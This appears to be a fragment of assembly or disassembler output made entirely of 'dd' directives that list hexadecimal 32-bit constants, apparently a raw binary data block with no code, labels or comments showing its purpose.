dd 390FC86Bh, 9701935Ah, 5B1A963h, 2194EF55h, 0C830FEDDh
dd 0A7EB2E39h, 0E8DEAAA0h, 0AE5B6F00h, 40DB4FD8h, 5502011Eh
dd 4A27181Dh, 8E4180B9h, 73BE9307h, 0E2F60C21h, 0DA08596Bh
dd 0E3F521C0h, 0EEE0A593h, 0FB8601E9h, 1C906FACh, 0B0588C18h
dd 429008h, 29747B9Dh, 0A5D53438h, 52615E07h, 2DC0F4C6h
dd 226E888h, 1E336D6Ch, 90E0B466h, 64986117h, 0B7936700h
dd 0D5A6EFDDh, 683F0E29h, 6D8087ECh, 0DF8CE1B5h, 0F4A72618h
dd 76B6F29h, 6228EF2Ch, 90E0F36Ch, 1E3098E3h, 0DA7A20AAh
dd 0E1A20F24h, 55205D76h, 74032ECh, 0D0A0AF78h, 15037330h
dd 7271616Dh, 0DD60D0C3h, 68380111h, 0A65AE434h, 0C853866Ch
dd 0D58ABFAh, 709A3286h, 96544318h, 5CC027F3h, 7700B374h
dd 126AFFBh, 7CAADBDDh, 2F6C307Eh, 0A0992819h, 0C90E40h
dd 0D91D41DDh, 7B1597C8h, 9FC4D501h, 287451FDh, 0C67E4h
dd 4B37F252h, 0FC55CD19h, 2D6CC507h, 32A09EF0h, 3CB806h
dd 187EC24Fh, 7C1C8D6Fh, 0E485610Eh, 0B7418678h, 76C73820h
dd 0A200FD48h, 3FD1E8B4h, 2C3F44A7h, 0FC500137h, 2331DC5Fh
dd 935EECh, 0B13C9EEFh, 68C48508h, 6F482263h, 2198F91Dh
dd 33588BF4h, 6108C916h, 0D5D62100h, 4663715Dh, 0D3BD00DEh
dd 758C3D90h, 5E75A80Fh, 5F9420EDh, 22B90C60h, 67C5E5E8h
dd 0A72478B3h, 0C7AA1F9h, 80A13198h, 525CE759h, 956B15h
dd 0CB329AFBh, 4EB4A172h, 74175A01h, 0A9878A85h, 4625D0h
dd 9798D486h, 1D213F79h, 0F1F27200h, 0E6D72ABAh, 5C4F405Dh
dd 97438400h, 0EB2916DAh, 269E3AC0h, 9B215730h, 750243A2h
dd 0AC8D729Dh, 9F888034h, 0C1B8618Eh, 0F34550B0h, 1BC9EC6Dh
dd 999096E8h, 0FE5BEF07h, 0A263833Fh, 73C0E42Ah, 0EC58BE34h
dd 4BBD48A9h, 0ADB71603h, 75811E5Ah, 739EC074h, 6CB81B00h
dd 977BDC60h, 8DF65C1Ah, 3DC84351h, 42510374h, 65612C4Fh
dd 1F86E8D8h, 63389200h, 347D1095h, 20C42EEDh, 87571CDBh
dd 7004708Bh, 9497FEBEh, 8387A807h, 60F03B69h, 1FFDA084h
dd 791903C5h, 934F2A81h, 0C066ADF0h, 0D81FE5D6h, 0AB409FC2h
dd 46D7B51h, 0EA1A00DBh, 0F544477Ch, 9573756Fh, 0D601A200h
dd 0FA2EDA06h, 79813CAAh, 0CC40E000h, 5D5229BDh, 7070E5FCh
dd 85A32700h, 3E13EE0Dh, 0AA3A004Fh, 0E10ED708h, 6FFE31E3h
dd 70B8C501h, 0F02F79CDh, 7A6B6880h, 0D7FA3E0Bh, 3107407Ah
dd 0C4E79188h, 8CE579B1h, 408F53C9h, 4FE0DB15h, 0C4E9810Ch
dd 3300A07Ch, 52FF7A7Fh, 1D86D7F0h, 98EDB86Eh, 445CE86Dh
dd 3E001376h, 0CFB7A73Bh, 0A051F5D8h, 6F4CB96h, 0D10DE57Ah
dd 1300D04Dh, 74670FDBh, 0E78AD5h, 0EF02A53Fh, 7F83B8D7h
dd 0FBCF501Eh, 0F0423AC0h, 7AE48FFh, 6535AFA7h, 0AB586017h
dd 0A35F45Dh, 148081F1h, 0CF56EBE7h, 0B0BBD11h, 7DE84F81h
dd 0EB7980CEh, 0B9011A8Eh, 0E92F006Ah, 0A37F47D9h, 4A01AEBCh
dd 0B31C0CDBh, 36D8D209h, 597FCBh, 14AAAB07h, 0EBBB937Eh
dd 0A600857Ch, 5B6C256Ah, 0EB8AEFCh, 0EAC567DAh, 551EA460h
dd 860C3D9Ch, 480E546Bh, 0BCEE03C1h, 3948A65Ch, 0B97D5EC0h
dd 0A45B9403h, 0FA78312Eh, 0AB928036h, 666EE9Ah, 0C4DDD9F9h
dd 590030E8h, 20C37D4Bh, 7DA83402h, 72892807h, 524E3A30h
dd 10571D98h, 0DC07734Ch, 0EBD68AF5h, 0D6C4B683h, 58C00D1h
dd 0F7A8A3BDh, 69002C1Dh, 1D91A43h, 1DAE382h, 64F0AD5Fh
dd 0EC880FA4h, 1D0089B8h, 0D0A73C50h, 18D878D2h, 99CFCD24h
dd 3B0FF363h, 0AFBC9958h, 0A0832526h, 1F248848h, 3013B9h
dd 857E1D49h, 0E1005304h, 766AD6EDh, 7B2BEFh, 4A901E65h
dd 3630C53Eh, 0B4C72300h, 3367E5EDh, 0EE0800CBh, 9AA40CF7h
dd 0B91A3C54h, 1511A87Dh, 138BC704h, 0FE07F4Bh, 0B3000E0Dh
dd 0D8380937h, 3CBC2F3Eh, 9E00E9DCh, 0B5CE35B2h, 0C03B714h
dd 3273F54Eh, 133AB87Ah, 912F502Eh, 3E080470h, 0C0FBB3C8h
dd 0F5BD85F8h, 0DFBF3C1Ch, 0F6BB96C0h, 0AD250Dh, 842768A3h
dd 75C065B9h, 0CF1FBD7Dh, 15800685h, 645B0713h, 974D00F4h
dd 59B434CAh, 0F65855E7h, 7A9B0036h, 7B4B22C8h, 40AB3A88h
dd 0EADDCB00h, 0D244FB97h, 80FF3439h, 8D62D14Ch, 1FBBB0h
dd 0C20A91B9h, 67EE1B70h, 0CC8FAD00h, 6F6DB87Bh, 64EA602Bh
dd 1643B30h, 13195701h, 9CCD2AC0h, 1D92C8E0h, 0CC7235A0h
dd 0C75A3023h, 0CE13600h, 196A8DA9h, 89F70032h, 97FD4992h
dd 0E7003E5Bh, 0A5502612h, 97D54h, 86C1BEE9h, 3A084166h
dd 98726500h, 36C3D7C0h, 0AFEB39C2h, 0FB9C780Eh, 0C59D7D20h
dd 0D0548FAh, 0A6BBE546h, 325EDC00h, 846ECDh, 239493ABh
dd 0D415F2BAh, 118D7D30h, 6C8919h, 0E0AEEF1Fh, 8093CC05h
dd 0C0FCA354h, 0B0493C00h, 0C3AAB32Fh, 62EC1B17h, 1DF07873h
dd 0F01C030Eh, 6A9D8A69h, 394E7C83h, 0B5A78860h, 0EC8FE93h
dd 8966EDD6h, 33496480h, 94316FF6h, 0F769818Fh, 19C71ECh
dd 0A8EF3E24h, 0C80ECA3Fh, 2A18E310h, 0AF28981Bh, 0E21D00ABh
dd 0CC19329Eh, 0D80F3D2Eh, 0BADC917h, 2CAF018Ah, 8FC0276h
dd 0E973004Eh, 4A129CBDh, 6101AEE7h, 0F5ADB29Bh, 0B0707CB1h
dd 97850036h, 0F7BBCBFh, 43B0A774h, 9CA0D63Eh, 600FD258h
dd 1C68A415h, 0BD377580h, 7BA6001Eh, 0AA4A6F2Dh, 0B400325Ah
dd 0E255BA0Fh, 2A8D31h, 0B09F2C97h, 33CF5C30h, 39C91F0Fh
dd 9AA5870Ah, 249540E0h, 26876F5h, 1E23C86Bh, 0BC807E83h
dd 0B1E0A8CBh, 0D317504h, 7090EAB2h, 39E18060h, 748F204Ah
dd 0A1E39D10h, 46B09676h, 21005844h, 78FA4C4Eh, 9B2B5Ch
dd 0FF721170h, 0B23DD6CFh, 0E80D0B28h, 8102DFF7h, 5535B1ADh
dd 62B0A01Eh, 0D336CBh, 3FBDE705h, 0B847ACADh, 1CEE2E5Ch
dd 0C4C0E5F2h, 4989EE24h, 0B071005Ch, 0C034E3A1h, 0C212A4B1h
dd 0C009E7Ah, 41E0FD2Fh, 0F958C097h, 5FF74CE6h, 0AF2AC890h
dd 0D900FCC4h, 367FA22h, 2655784Ah, 304E63h, 6040E90Ch
dd 480364D0h, 0B57AC36Ah, 0FFCD088h, 0D3DD01E7h, 902FEBE4h
dd 520470D7h, 0BE3E1800h, 8925389Dh, 78E30014h, 0BABC53E2h
dd 0F871695Dh, 86B48h, 75CB723Ch, 0CAD74Eh, 0ECC1FEAAh
dd 114B135Bh, 69280900h, 0E7EB943Ch, 0E45E009Dh, 0B0FC44E5h
dd 0ED030537h, 0DEC542E9h, 0C016E8D2h, 1BB8008Ah, 6F84AF08h
dd 0B503221Ah, 0B04DDCEh, 0F3A0C8FFh, 0EA6400DCh, 49297A94h
dd 0A600929Dh, 0E518FBCCh, 7061511Eh, 0D1620504h, 6F5740h
dd 0DCC4CA9h, 4900A61Bh, 92DC5F8Dh, 4628ECAh, 1ABD3064h
dd 40B5C528h, 3C27B5D4h, 0F1F822ADh, 780030F0h, 0E4686702h
dd 0BEB601h, 22A9F4ACh, 0B1E50D38h, 0C383E707h, 72D3AA71h
dd 0E4F2E0B9h, 189504BDh, 801ED21Ah, 0CE23483Ch, 0EC012F07h
dd 92A08685h, 7C0B1981h, 0C52600C4h, 0BDF4391Bh, 6D005980h
dd 0A7E7CD1h, 3CC3589Dh, 13008EA5h, 0A0020151h, 0F100AAF8h
dd 48617A3Dh, 94103Ah, 13F95F30h, 0E22FC4BCh, 6BEBB900h
dd 0A40E3C91h, 0E5DF0036h, 585E1EFCh, 903CE6BEh, 8BCC80E7h
dd 966910Ch, 0BC705077h, 988200ADh, 0D7D5D469h, 0BF002B92h
dd 648D1B83h, 0A17F8A80h, 0C4241984h, 8E2B0279h, 0F6636888h
dd 1C7BD660h, 18DF6906h, 0E8107338h, 60E818F3h, 8A374C09h
dd 598D5100h, 0B4C6DA1Ah
dd 282D00A9h, 0DC967919h, 29E2355Fh, 21395001h, 90B9CEE2h
dd 9A782D4h, 0BDDE52D5h, 48A17C0Fh, 6426683Bh, 0C4EA01B0h
dd 1F559538h, 0D64799D8h, 0F990C7BEh, 6ED4Fh, 525AB6CFh
dd 3798CB11h, 0C10F2000h, 26A2079Eh, 577056h, 0AB46A070h
dd 666E89D0h, 506C0A00h, 54A6B75h, 21D667D7h, 94C910C6h
dd 2E016AEFh, 3AD48D01h, 0EC20C7EBh, 509E003Dh, 0B74AF67Eh
dd 9C009FD9h, 0A24E54D3h, 820646h, 0DCF5C540h, 0C056F07Bh
dd 0F90EED7Ch, 0C070AEB1h, 0A32390FAh, 5B111FA6h, 41555FB6h
dd 0BC2A4DDAh, 8B0ED821h, 0F2F33900h, 72CEEA58h, 9720006Ah
dd 0C545C8FCh, 6B00D88Ch, 1A2D333Ch, 84B129h, 54CE0A12h
dd 2AC52E24h, 0EA3D6276h, 0A6FF3C9Bh, 0B3876027h, 0C950122Fh
dd 7B35BE18h, 0FFB80032h, 0FE90CC8Eh, 9B0392F4h, 0E0A7535Bh
dd 16DEB8A1h, 51E41C5Fh, 0A3D7C166h, 400C31AAh, 37D12D3Ch
dd 0C1DD4800h, 7D153A51h, 7CCC034Fh, 0F2324788h, 13943788h
dd 0C20060FAh, 6A4CEA42h, 2EDB76Ch, 2AFBEE81h, 8CC0205Ch
dd 83986D8h, 834B0074h, 0BA7D7BC7h, 0A752C0C8h, 0EAA2E236h
dd 80859D38h, 0D8DA4743h, 5BB907h, 0EF337B67h, 6A13A589h
dd 10D13900h, 0F2A902F7h, 65E72FFBh, 0E33C86F8h, 39A7001Ch
dd 0F46EF752h, 0ABA4035Ch, 66A807C8h, 0DB613F9Ah, 0C276DE9Dh
dd 0E4693B80h, 167EBC1Dh, 3D0451h, 362C6BBBh, 6E7AD89Bh
dd 34D5CCF1h, 3CCB0A16h, 76356020h, 0BA187ACFh, 0ACE0D8h
dd 0DA4D86C7h, 5B17722h, 4A74833Ah, 27292400h, 0EB017AFh
dd 0A7236C66h, 0B51D3E80h, 6D30D109h, 879B28A5h, 0A3110386h
dd 9E2B1351h, 5CA071A3h, 0AF5D3130h, 8423144Ch, 8BD5012Ch
dd 0D326344Fh, 7201F0CFh, 0DB14015Ah, 0A46721F4h, 0EB00C666h
dd 18B27498h, 717B371Dh, 5B0F4C95h, 55516E23h, 0F813068Ch
dd 6198C4h, 9654BE97h, 3BC09DA6h, 2EC68217h, 404F4F00h
dd 0A55BB7EBh, 0C8EF1064h, 2BAF022Dh, 34804C62h, 0E26DE3FBh
dd 86E234F0h, 68104200h, 13C25419h, 0E3C00078h, 94ECF843h
dd 363998C5h, 0AD861h, 6D5C778Ch, 74F5F039h, 1DAA0046h
dd 515DF1D2h, 44001799h, 0E1926082h, 28DF72h, 555BE613h
dd 4DB7111Ah, 6DD30900h, 2C315DF4h, 0DD51893h, 265CA866h
dd 221B5307h, 9200E765h, 1F0580B7h, 2B4F3Fh, 0E25A8D06h
dd 70005966h, 0CE30782Dh, 1A30A0Eh, 73A7F3Eh, 0E40BE3D2h
dd 34B0DB05h, 67D82600h, 2E367BA3h, 0E15607D0h, 0E9CE387Ch
dd 6380B98Fh, 3ABEEB6Bh, 0B5BB1D02h, 0A070FB0Ah, 0F72F9E94h
dd 0F4D90915h, 601085F6h, 133F5D62h, 80463912h, 92AF937Dh
dd 42A5B42h, 71B5A876h, 14B4D01Ch, 850F685Dh, 23A7177Eh
dd 88EB9D0Eh, 146C897h, 7F6330C4h, 8EB2EF1Dh, 0C008F630h
dd 589F674Ch, 92F7376h, 0FE9C752h, 0AC06B500h, 0DC0044B5h
dd 0F018BD57h, 1689FDh, 931AB663h, 0A8502611h, 86285C00h
dd 744939DAh, 0C0A10057h, 65E08C89h, 587F26C7h, 0D19B1E01h
dd 162FD95Bh, 0ED75B18Bh, 1D4688A0h, 7700FBE0h, 0BF8E9205h
dd 9E8B4Eh, 527A22B7h, 21792319h, 0A5ACC92Eh, 0F53D2F00h
dd 947D8Ah, 0BE368F29h, 0FA58951Fh, 0B3B5DF07h, 7E40C75Ch
dd 7409F108h, 1BE80079h, 0BD9C1C2Dh, 4FB84A0Ch, 0ACF80F74h
dd 93338700h, 0D5B6AEBBh, 82C21FBFh, 767E01E5h, 0B8679847h
dd 1268158h, 0D383A3F0h, 22BAF4h, 8F234B0Dh, 0B11F39BBh
dd 3652B601h, 0BF992BC3h, 725178D0h, 677718F1h, 20A760D8h
dd 0AC3F6E00h, 2930FE8Dh, 177181h, 8721B53Ch, 0D90CBCEAh
dd 90094700h, 0EEACDFB1h, 2B1A1B65h, 0A5C1C8A9h, 7E088FABh
dd 11181796h, 0B6C519h, 5891BD11h, 8FC3AD18h, 828EF61h
dd 8EDCCE55h, 56C00C75h, 0A118D5E0h, 0C83E691Dh, 2EC59714h
dd 4000F2D9h, 0AB2DCCDBh, 89B0C7h, 9626A30Eh, 0FD20237Dh
dd 5DCD8000h, 4A1AC5A1h, 6D9105D1h, 21D28715h, 3F5724h
dd 31CDD460h, 9EE6BF0Bh, 0E89086D7h, 98B9B394h, 2401005Fh
dd 81ECD2D4h, 0CD003887h, 9805FCCCh, 0FD74C9C3h, 541F8C40h
dd 0FDFE0CF0h, 67484B07h, 0E0A06613h, 2C262601h, 2BF0AD97h
dd 5EAE286Fh, 655305DCh, 18D67D9h, 0A68918C0h, 87F050FFh
dd 0CB03592Dh, 9E2C7CF6h, 6B72901Bh, 0F350001Ah, 66549529h
dd 60C1B988h, 57F11CFDh, 3075B8D8h, 0C3C17496h, 0AF00BD41h
dd 0A758CA31h, 749BB9F5h, 736EA93h, 668CE367h, 0B8EB93F1h
dd 0AF2B85E0h, 8090C16Fh, 58DC6301h, 0EE945855h, 0E3063B02h
dd 94AFC352h, 0EFFFC282h, 0F1CD8080h, 0F20764E6h, 6385A8BEh
dd 0F488BD6h, 0CB832138h, 0D3792580h, 6F023C0Bh, 7C4A3AA0h
dd 15DE67h, 0E7E1D908h, 0BF72A5ABh, 4AD49h, 30DE03CBh
dd 7C4AB9AAh, 84A700CEh, 90251DF6h, 850FD6B2h, 0E13C3506h
dd 0DFFD2350h, 0E6A4460h, 9D3AD15h, 7367E420h, 1EE45FDDh
dd 0A62A5700h, 98FCFB38h, 0FD1C0D07h, 1B106290h, 0DE598104h
dd 0EDF0FFEFh, 515C003Bh, 0B3338F4Fh, 811E688Ah, 31004140h
dd 1C6DD8A9h, 6E89285Eh, 97C9Bh, 7BBBDC03h, 3692569Fh
dd 0ACC1F403h, 0A35CC73Ah, 2841A095h, 0C59F3C71h, 43597880h
dd 0EF198056h, 0FC92DE00h, 8F1C7D3Fh, 87C00062h, 6BE47660h
dd 0C70090D2h, 44A37277h, 62A6D9h, 0EF8978F7h, 50FA0AF3h
dd 0D91AF82Ch, 0C1259C00h, 0F672A1h, 0E97F9D09h, 58207A06h
dd 83D98700h, 0BD4F235Eh, 5634014Ah, 458B30B8h, 0C1B5E055h
dd 0EA1F4C00h, 492D3B99h, 507A0095h, 51B1C063h, 4C1CDCE8h
dd 4881FABEh, 22ACAFA4h, 0F65FC0h, 358291A8h, 0E8BD4A9Ch
dd 230015E8h, 3CA399ADh, 2D68FAh, 0ACE44569h, 15DF6328h
dd 31565700h, 29E391B8h, 6F6A0FA5h, 3C5C705h, 0ADC8002Eh
dd 4E0C6133h, 62C6F601h, 0CA910A3Eh, 1CB1A30h, 85A7D9D3h
dd 40F49B73h, 92374380h, 0A080B503h, 0D0155CD1h, 3CAEB3h
dd 0D71FE926h, 51DCBFA1h, 40E74500h, 12BDAC81h, 0D5D107C1h
dd 0A086064Bh, 219825AAh, 332419FCh, 578010C6h, 0BC20BAE4h
dd 58890052h, 530D8A29h, 1C75E1ADh, 4F909100h, 46A4B4BEh
dd 0FED80070h, 36E143Fh, 400D008h, 42EEE59Bh, 1A396FAh
dd 0B8A7F293h, 202D5877h, 0A27AAE2Eh, 875CF50Ah, 0E2008031h
dd 451561CCh, 1736000Ch, 0EC401F03h, 0F5006424h, 0A9D52296h
dd 0AAF8ACDh, 3C95EEE1h, 0DAC60084h, 0D575D3DEh, 2ED21403h
dd 0F05CDD65h, 688C960h, 121574EFh, 13001931h, 0E18E853h
dd 394D56h, 8BD9B90Bh, 0CA454B46h, 0A300337Eh, 597AADD0h
dd 0CDBB65h, 0A0B349FDh, 26EC04FEh, 3EB1C40Fh, 9F8220E3h
dd 37447Fh, 0DFDE197Dh, 2D26F7C9h, 381E901h, 2F93D10Dh
dd 0FD607DF5h, 0BB0F1E1Eh, 0FC154786h, 0EF82506Ah, 560BE713h
dd 80144FCEh, 845EE04Ch, 1D270054h, 664DEF55h, 0F600CEC5h
dd 0D3FC4E67h, 0B52091h, 0A61E13BDh, 0EF508B8Ah, 0AF73CC01h
dd 1FF4454Ah, 9038B0E3h, 0A4090F8Fh, 87432FE6h, 0E2E87371h
dd 0DF0053FEh, 5110B8C5h, 5D2519h, 0AFC60221h, 3AD3FB8Dh
dd 0A91BB0A0h, 7ACF6F01h, 0BFF78C33h, 0BD7BECh, 9FDF62EFh
dd 0FF8541C4h, 790EAF01h, 0FE1B503Fh, 1C452420h, 0C0A36FE6h
dd 563072BAh, 801413Ah, 0AB607163h, 0EC218A0Fh, 4DEDD00h
dd 15EE0083h, 0CA9FDDCCh, 900AFCBh, 4049BB78h, 51F285h
dd 59082295h, 5C4E8228h
dd 86EB4801h, 94173CC9h, 0D3F0BEC9h, 2281C745h, 6C46C0D9h
dd 0CBF20A67h, 638BD20h, 9C88F975h, 680CC880h, 0F802B7E8h
dd 1D4D03C1h, 0B047CD93h, 0AACFC0B5h, 35008FF7h, 97295574h
dd 21F91BEh, 0CF46413Dh, 4DE0EE17h, 3500DF84h, 9211ECCAh
dd 873F9Ch, 0AF104B95h, 0E474F57Dh, 0A85BE839h, 0F900D41Ch
dd 0D4F46557h, 1C035286h, 0EEA0EAh, 0E36CCF8Ah, 2300A4B1h
dd 96F70FB5h, 262046h, 2AD581BCh, 4466DF88h, 0E5B4A91Fh
dd 92134CC4h, 19F0ECC1h, 0ECA2C0h, 783525DAh, 0DC5B614Dh
dd 4A62D800h, 6331AD11h, 0C11A0098h, 6435FB69h, 430020FAh
dd 0B499FD6Eh, 5F408E8h, 67E2AEFh, 19286018h, 0D81DD90Ah
dd 6DCF2B90h, 98B7C03Ah, 0E3BC40h, 744145B3h, 0CA9743CEh
dd 75BB2C03h, 903CB4B7h, 0BCE037h, 0DA56286Ch, 0FFA86109h
dd 0FC8DF430h, 0F9DCFBh, 5BBF95A9h, 0E70E6D9Dh, 47100706h
dd 1E29AA4Dh, 40953132h, 0FC90C219h, 0A00094C6h, 0D1A3E0A8h
dd 387BBAh, 0DBBD6D81h, 7FF95128h, 72FEEF00h, 16582CABh
dd 3266002Dh, 0E7104D5Ch, 0BB002076h, 83B3FAB2h, 2633E6D8h
dd 0B741E21h, 178510BAh, 19608058h, 6700EED0h, 831F3B34h
dd 4892FBF9h, 14B0980Ah, 0EE00F459h, 6EBABEBCh, 3FEFD0FAh
dd 21806C1Fh, 45997BCCh, 0A300EE23h, 59B326DAh, 4089BC5h
dd 19DE16C7h, 738CD0E0h, 0F904215Ah, 0F501604Ch, 8B561AC0h
dd 0AA7918ADh, 50829877h, 3F94FD00h, 0C50515CEh, 0BC810023h
dd 48877CB9h, 4D00FE43h, 200B090Ah, 429227h, 51F603D3h
dd 824E36Eh, 9C928BF4h, 0C3502DE6h, 0BA183588h, 21D93DA0h
dd 0D7DD384Dh, 4490868Fh, 0F0E181C7h, 0F9183257h, 5826F601h
dd 8DB60397h, 9802DCh, 610C7AAAh, 0E7E4A88Eh, 7D072000h
dd 8D3EB96h, 0CA0B001Fh, 52B01092h, 691DE6A7h, 57C06150h
dd 0E260D0B3h, 7C0D4CFAh, 0D2011Fh, 1DA881BFh, 2D00F39Dh
dd 0B9FA3585h, 0BA3C0Ah, 17960844h, 0F88DC32Bh, 8718E000h
dd 0EE2CD3D1h, 3B9200DDh, 1EC13480h, 8500A655h, 8EC61539h
dd 58F77622h, 544C580Eh, 5FFE3C00h, 88FCB220h, 7D9F9D12h
dd 0C0CC570Fh, 9BD1F38Dh, 4CC8BAACh, 41008C82h, 87CE86C1h
dd 4800C010h, 6F7F9CD2h, 0E018Dh, 93C2127Ah, 0B32E73E5h
dd 0CB75BA03h, 9BA5EF8Ah, 14ADD084h, 0B7D007D6h, 162D129h
dd 0F879ACC0h, 42C6977h, 107D71Dh, 4C303C31h, 1749C5Fh
dd 289526D3h, 0E0DB62B8h, 3A00C0D8h, 0B92DF7CEh, 1440389h
dd 78D6FBB4h, 0FB6BC67Dh, 0AD4ADE90h, 0A8FAF100h, 60A6F2B9h
dd 0B7BB0022h, 0BF876CD4h, 0B30451B2h, 1D3AFE5Ah, 7C228480h
dd 0E36904E8h, 95BB5CCBh, 877A8088h, 88004798h, 39AB7329h
dd 910C9165h, 0FDCB0574h, 0D194052Dh, 4830885Ah, 3B01049h
dd 412546A6h, 7CD9D59Fh, 0B2B88B20h, 0D76C0010h, 82F8988Ch
dd 0F8EFD860h, 1C06553Bh, 7D040BB0h, 0D3D00060h, 992035A7h
dd 0C902CFEFh, 6CBB8376h, 203CB823h, 0E0544DE2h, 0C4E043CFh
dd 0E85E1D90h, 9B50FA00h, 0D80FA193h, 701470BDh, 6C9406C9h
dd 488B1FC1h, 431D0300h, 0F4DB8FB5h, 755F0057h, 465A17E3h
dd 2DE407ADh, 0D03CBC00h, 0DACD1B08h, 89E500F7h, 0B551748Ch
dd 1E042E14h, 30AE9707h, 0B8403D84h, 0C5167A20h, 4DE804E5h
dd 0C2154FFEh, 24607EC4h, 0BF48CA48h, 2F80B10h, 0A3BC02DDh
dd 1B0E202Fh, 0C80B03B0h, 8BC72A85h, 7DE10780h, 686BA6h
dd 95A61845h, 61A521C9h, 85AF8718h, 881E78h, 0EFC2255Ch
dd 0F6785509h, 11443100h, 530C560Fh, 24AF4CE3h, 0A37A1CA0h
dd 9343A50Fh, 5DC9544h, 0BFFBF635h, 9E73BD04h, 0C3259890h
dd 0D254284Eh, 0D4724CF4h, 856F703h, 9DC0CC60h, 86B8CD92h
dd 0B0626913h, 48403Dh, 35C71C11h, 223F40DCh, 154E4A7Bh
dd 0A42C9E2Ah, 681B8000h, 0E5AD4261h, 79FC00A7h, 55ED54E4h
dd 0BC000ECFh, 2A8F1383h, 6C6312h, 0BADE1834h, 462CD053h
dd 0B4AD2800h, 2F373EEDh, 30FC00A9h, 6DAA61F6h, 0FA90E7E2h
dd 3242EC00h, 0A5E52233h, 0F8E60004h, 3BEA6A53h, 7A1EEE0Eh
dd 0BB40BF83h, 0D61E1A5Fh, 58FCE084h, 963C9Bh, 4ACED81Ch
dd 9C006DDAh, 0A10C9A22h, 0B8CC4926h, 4BCCA08Ch, 8C1E03E3h
dd 0C8AC155Eh, 2C4868B8h, 82A2F33Ah, 4457257Fh, 304E091h
dd 0EC90C0h, 751ABA36h, 4CBC7384h, 0A7EF9200h, 148C7DB2h
dd 0DB3E126Ah, 31C8600Ah, 0CD5D629Ah, 2BBE866Ch, 0F33C0E59h
dd 0D3451Eh, 0EE0AED00h, 18B02ADFh, 85106AEAh, 0B402F177h
dd 38FF9A27h, 80AEF487h, 6954A5BFh, 0AADDF8A0h, 35800094h
dd 6BFED895h, 0D0960026h, 0ABE21D44h, 781206D5h, 4800A14h
dd 3511A82h, 0BE9F1866h, 87F83FE6h, 0A73070F3h, 55BB9076h
dd 0E83D2883h, 5989298h, 2B5E7442h, 2648D4C9h, 0CDFCB048h
dd 0E8680700h, 973DC12Bh, 9EC807B5h, 0F07160h, 6247209h
dd 75C6E700h, 88EA3F61h, 63552E20h, 2C420074h, 8F2A4EE0h
dd 7094F100h, 44AE71F7h, 22DCF195h, 866D00BCh, 3A0CE173h
dd 0A00181E9h, 1E772DCBh, 0FD70702Ch, 743C007Dh, 0AE685F0Bh
dd 0C038302h, 98E23449h, 0A903F050h, 60AD0088h, 6592D6E3h
dd 0A0502432h, 0B0058EBh, 8B86FCD0h, 768277h, 284E42F2h
dd 0C2799CD5h, 0E1F1841Eh, 7E05C040h, 0B8AB8C65h, 4FACE4BBh
dd 0B20800D6h, 119EA25Eh, 299DE707h, 633F0F97h, 0D8AB8218h
dd 19C3912h, 6A722A66h, 0E12410A1h, 3799DCF7h, 2754130Fh
dd 8D0260B1h, 1CCF0F93h, 4035CE92h, 8CD9523h, 4F01C33Dh
dd 495554F5h, 78835B09h, 0CA50E790h, 0DDF6288h, 0D401B600h
dd 0D694A7F3h, 0F030EB88h, 0CB5FCA5h, 311FDED9h, 0AC78AF10h
dd 0CAED881Fh, 62208219h, 0C067BAC8h, 0FD52F458h, 12003AA0h
dd 42D1F7B8h, 51AAC2h, 0C33877D3h, 0BE9BCE69h, 0F0F820B2h
dd 78031AF6h, 0C1A9057Eh, 0C3402CFEh, 44B03A04h, 0B86EC759h
dd 0BB478706h, 1784B2Dh, 0FA5EA5C8h, 4093CA25h, 697E83A8h
dd 0A6389200h, 30D0F794h, 0E6F885h, 0DA0997C3h, 0CEF8CF4Bh
dd 19C8D701h, 664EAB42h, 0D080F0E5h, 845C40FAh, 0B3006A4Ah
dd 5F8D29C5h, 3BDE78h, 38862C16h, 6CF21806h, 199F491Eh
dd 0CA0058D7h, 12D07531h, 0BC8A07DFh, 302F607Ah, 667C2E0Bh
dd 40F8B100h, 98AE35B2h, 71AF00F2h, 1B3CDDCCh, 40008E8h
dd 22D4A0A2h, 0E2A124AAh, 1E7400FEh, 0AFB73EFFh, 310FF7B6h
dd 27E9DC08h, 63B0D544h, 0AC59C7h, 0C26C185Dh, 0F27597D6h
dd 0C9F42200h, 9BC51469h, 0D5810031h, 2D806A8Ch, 0DC00E134h
dd 2E89657Fh, 0B29AFE9Fh, 53CD0E10h, 9F561392h, 9069F70h
dd 10D1B1h, 0F6BC4307h, 75210222h, 481C1407h, 1894D61h
dd 4A42FAC3h, 1A78E3h, 685056DAh, 4147E11Bh, 0C75A6500h
dd 42E43B22h, 54940B14h, 0EC80D8F0h, 0FBB0D78Dh, 0C707389Ah
dd 0C3502A37h, 6129F3C2h, 82C0D884h, 35C100B3h, 20477EADh
dd 0C60330BCh, 0C9E13707h, 1FA0F07Bh, 12CF038Ch, 0C2902071h
dd 3819BEB0h, 0E155104h, 0BDC0F340h, 77D614BAh, 5AF638B4h
dd 2CA402CBh, 0FFF3BC2h, 0C8028096h, 3DFB6153h, 401FD529h
dd 0D43E7033h, 0D000B335h, 0F2EC78C5h, 0FE75F41Ah, 0B58C48D1h
dd 395C4900h, 0DE61D89Ah, 0E500A677h, 0C277E387h, 1C88F09h
dd 2893CC01h, 0F45642E0h, 0D5016679h, 96F02152h, 28347E95h
dd 98185C31h, 0D95A2300h
dd 70BA56B2h, 40CF6601h, 16A895B0h, 1ED3860h, 882F0AE5h
dd 0CC744C7Ah, 2A0BA74Bh, 8196A2F5h, 9A456BEEh, 0A141460h
dd 0D0BADF38h, 588081F0h, 408D189Dh, 84793CB4h, 0CF174000h
dd 3EC8F7A1h, 0FD870127h, 82AD9A1Eh, 7F28FC44h, 7EAC7C3Bh
dd 626DBA00h, 675081F7h, 1A46003Ah, 0D3782855h, 0B25CB8F1h
dd 80A93DDEh, 0F317E8C9h, 0B2B0D697h, 0FEBB0070h, 84E79ADh
dd 46005EB1h, 42027482h, 3BF65196h, 17E6B53h, 0B09C1AC4h
dd 818E3B9Bh, 6ACC04C8h, 0BF70472Ah, 8BE27Ah, 5A62560h
dd 1195A839h, 0B39F5F00h, 8A80BA0Ah, 42971844h, 0D5B278F7h
dd 6DB1A313h, 7F32509h, 0CA80DF0Eh, 0FD9EE7h, 13D0F45Ch
dd 9909CFAEh, 8D217E04h, 28E0A14Eh, 0A20A0017h, 2ED1CCBh
dd 0B5005E36h, 64FE352Eh, 98B07FBFh, 0CC3100C8h, 284A2D79h
dd 0BE0F5AC0h, 0F4DF5D3Eh, 6CF30BFCh, 9B3420B2h, 0F07426h
dd 0B7B5BBA0h, 72BCC819h, 650C5301h, 2F68ABCDh, 0F1202CC1h
dd 321E3133h, 28263BA0h, 0EE007658h, 0D2F615B1h, 471D21h
